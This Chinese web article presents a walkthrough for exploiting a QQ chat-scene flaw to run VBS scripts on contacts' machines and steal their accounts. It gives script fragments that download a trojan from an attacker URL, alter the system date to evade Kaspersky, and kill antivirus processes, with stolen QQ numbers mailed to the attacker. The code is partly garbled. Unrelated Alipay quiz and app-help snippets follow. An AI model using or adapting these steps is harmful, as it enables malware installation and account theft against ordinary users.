QQ场景漏洞的破解之法
根据易观国际发布《2007年第2季度中国即时通讯市场季度监测》报告显示,中国活跃的IM软件账号已经达到了3.76亿个,其中拥有2.9亿活跃用户账号的腾讯QQ是当之无愧的IM王者。可是你知道吗,你的QQ 现在很危险了!
不需要什么高超的技巧,黑客就可以轻松地盗取你的QQ。想知道他们是怎么做的以及该如何避免自己的QQ被盗吗?快随小编一起看看QQ场景漏洞的破解之法(属于0DAY漏洞)。
月黑风高夜,黑客挖出了一个宝箱,里面盛放着光彩夺目的“QQ场景漏洞”。他们惊奇的发现,不需要有什么高超的技巧,只要懂一点基本的脚本代码编写,就可以轻松地盗取别人的QQ、秘密安装监控软件或破坏系统等。于是,地狱之门就被打开了,所有的QQ用户都被恐惧笼罩着。
一、QQ场景漏洞的利用原理解析
聊天场景是QQ软件中的一项基本功能,可以让聊天的双方使用同样的场景,从而拉近聊天用户之间的距离。不过最新的QQ场景漏洞,可能会让大家的QQ有被盗的风险。
该漏洞的利用原理很简单,攻击者向其QQ列表内的用户发送一个恶意构造的场景,场景里面包括图片文件、文件和文件,其中文件就是编写恶意代码的地方,然后在远程系统中执行即可。
二、QQ场景漏洞的危害有多大
QQ场景漏洞的危害到底多大?重则可能系统崩溃,资料消失;轻则可能QQ被盗,这些后果都是很严重的。更可怕的是,漏洞的利用方法特别简单,不需要什么操作即可实现,会成为大量手痒的菜鸟黑客们的最爱。
添加的脚本代码的作用不同,造成的危害性也会不同。比如,如果是一段文件下载脚本代码的话,那么代码就会自动下载设置的文件并默默地运行。如果下载的是木马后门程序的话,黑客就可以通过木马进行远程控制。如果是一段格式化代码的话,那么磁盘中的文件就会瞬间被清除掉。
小提示:QQ场景漏洞的危害程度判断是参考了标准的次高危害漏洞(百度搜霸远程执行漏洞)和标准的中等危害漏洞(WMP AU文件除零漏洞)。
三、试用QQ场景漏洞
首先,将QQ场景漏洞所需的场景文件下载到本地系统,解压后复制到系统中QQ的安装目录X:Program FilesTencentQQ下
面,这样在Scene文件夹中就多了一个场景目录。现在我们就可以进行测试操作,不过为了弹出窗口更加有个性化,我们要对场景目录真的脚本文件进行修改。
接着,用文本编辑器打开其中的文件,在文件代码中找到MsgBox这个消息函数,该函数后面跟着的就是该场景在执行后弹出的信息内容,这里我们可以将它设置为自己需要弹出的内容信息,比如设置为“电脑报,我的最爱!”。如果你熟悉VBS脚本,可以设置更有个性的语句。
图1 弹出窗口
然后,随便在QQ联系人列表中找一个人,无论对方使用的是QQ还是TM都可以,双击打开其聊天窗口。然后点击工具栏中的“选择音乐场景”按钮,在弹出的窗口中选择打开“我的场景”标签,并且找到一个和场景目录名称相同的场景。这样这个带有VBS脚本的场景,就会自动的下载到远程好友的QQ 中并运行。
四、如何利用QQ场景漏洞盗QQ
漏洞用熟后,就可以开始盗QQ了。首选下载该漏洞的利用代码,然后进行简单的修改即可。下面就对代码的关键部分进行讲解。
iLocal = LCase("c:"):iRemote = LCase("http://www.****")
代码作用是将文件下载到磁盘中指定的位置,我们只需要把其中的.****改为自己的木马地址即可。
Set ws = CreateObject("l")
"cmd /c set date=%date% &&date 1988-1-1 &&ping -n 30 &&date %date%",vbhide
for each ps in getobject("winmgmts:.rootcimv2:win32_process")ances_
if ="" then
"ntsd -c q -p le",0
这段代码主要有两个作用,首先是通过修改系统的时间,从而让下载的木马程序躲过卡巴斯基的主动防御功能。接着用于检测系统中是否存在瑞星防火墙,如果存在的话就结束该防火墙的进程。
当然我们可以依葫芦画瓢来添加结束其他进程的代码,比如要结束金山网镖的进程,只需要将代码if ="" Then中的,替换为金山网镖的进程名称即可。经过这一系列的处理以后,盗号木马就能成功的获取远程用户的QQ号码,并且最终发送到我们指定的信箱里面呢。
-
小鸡宝宝教你挑柚子:以下哪种形状的柚子口感更好?
支付宝庄园小课堂11月9日的问题是,小鸡宝宝教你挑柚子:以下哪种形状的柚子口感更好?如果你不清楚,可以看看文中的介绍。2023年蚂蚁庄园11月9日庄园小课堂答案今天的问题是:小鸡宝宝教你挑柚子:以下哪种形状的柚子口感更好?答案是:上尖下宽答案解析:柚子的标准形状是“...
-
披萨包装盒里经常会放一个“小型三脚架”最初用途是?
支付宝庄园小课堂2月2日的问题是,披萨包装盒里经常会放一个“小型三脚架”最初用途是?如果你不清楚,可以看看文中的介绍。2024年蚂蚁庄园2月2日庄园小课堂答案今天的问题是:披萨包装盒里经常会放一个“小型三脚架”最初用途是?答案是:支撑纸盒答案解析:这个小型三脚架...
-
电视家跑路了怎么退款?电视家跑路了是真的吗?
近日电视剧跑路的话题上了热搜,引起了很多会员的恐慌,毕竟很多人是刚充了电视家的会员,那大家知道电视家跑路了怎么去退款呢?退款的渠道位置在哪呢?下面就和小编一起来看看吧。电视家跑路了怎么退款?近日电视家的官方发布微博称,若您在会员期内,您的付款将足额退还,由于...
-
趣智校园怎么换学校?趣智校园如何重新绑定学校教程
这几天正好是开学的日子,趣智校园作为一款热水服务应用,对于需要热水的小伙伴们来说还是很刚需的,不过很多人在使用的时候不清楚怎么去换学校,下面一起来看看相关的教程。趣智校园怎么换学校?趣智校园可以在用户管理中心,选择要更换的学校,并重新绑定新学校的课程资料...